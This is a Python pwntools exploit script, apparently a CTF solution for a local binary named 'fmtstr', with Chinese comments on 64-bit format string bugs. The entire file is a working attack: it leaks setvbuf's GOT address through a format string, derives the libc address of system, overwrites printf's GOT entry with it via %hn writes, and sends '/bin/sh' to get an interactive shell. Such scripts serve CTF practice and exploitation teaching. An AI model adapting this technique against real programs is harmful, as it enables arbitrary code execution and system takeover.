# coding=utf-8
# 64位格式化字符串漏洞写got需要比较大的栈空间，出题需注意

from pwn import *
context.log_level = 'DEBUG'
context.terminal = ['terminator', '-e']

p = process('./fmtstr')

#1.泄露got
elf = ELF('./fmtstr')
libc = elf.libc
setvbuf_got = elf.got['setvbuf']

p.recvuntil('message:\n')
p.sendline("aaaaaa")
p.recvuntil('aaaaaa\n')

payload ="1111"+'%9$s'+ p64(setvbuf_got)
p.sendline(payload)
setvbuf_addr = u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0'))

#2. 计算system地址 
system_addr = setvbuf_addr-libc.sym['setvbuf']+libc.sym['system']
print hex(system_addr)

#3. 写got 
printf_got = elf.got['printf']
print hex(printf_got)

def modify_addr64(io,index,addr_got, addr):
    payload = ""
    cur_val = 0
    for i in range(4):
        target_val = u16(p64(addr)[i*2:i*2+2])
        cur_val = target_val - cur_val
        if cur_val < 0:
            cur_val += 0x10000
        if cur_val != 0:
            payload += "%%%dc%%%d$hn"%(cur_val, index + 0x80/8 + i)
        else:
            payload += "%%%d$hn"%(index + 0x80/8 + i)
        cur_val = target_val
        
    payload = payload.ljust(0x80, " ")
    payload += p64(addr_got)
    payload += p64(addr_got + 2)
    payload += p64(addr_got + 4)
    payload += p64(addr_got + 6)
    # print payload
    io.sendline(payload)

#修改printf的地址
modify_addr64(p,8,printf_got,system_addr)


p.sendline('/bin/sh')
p.interactive()


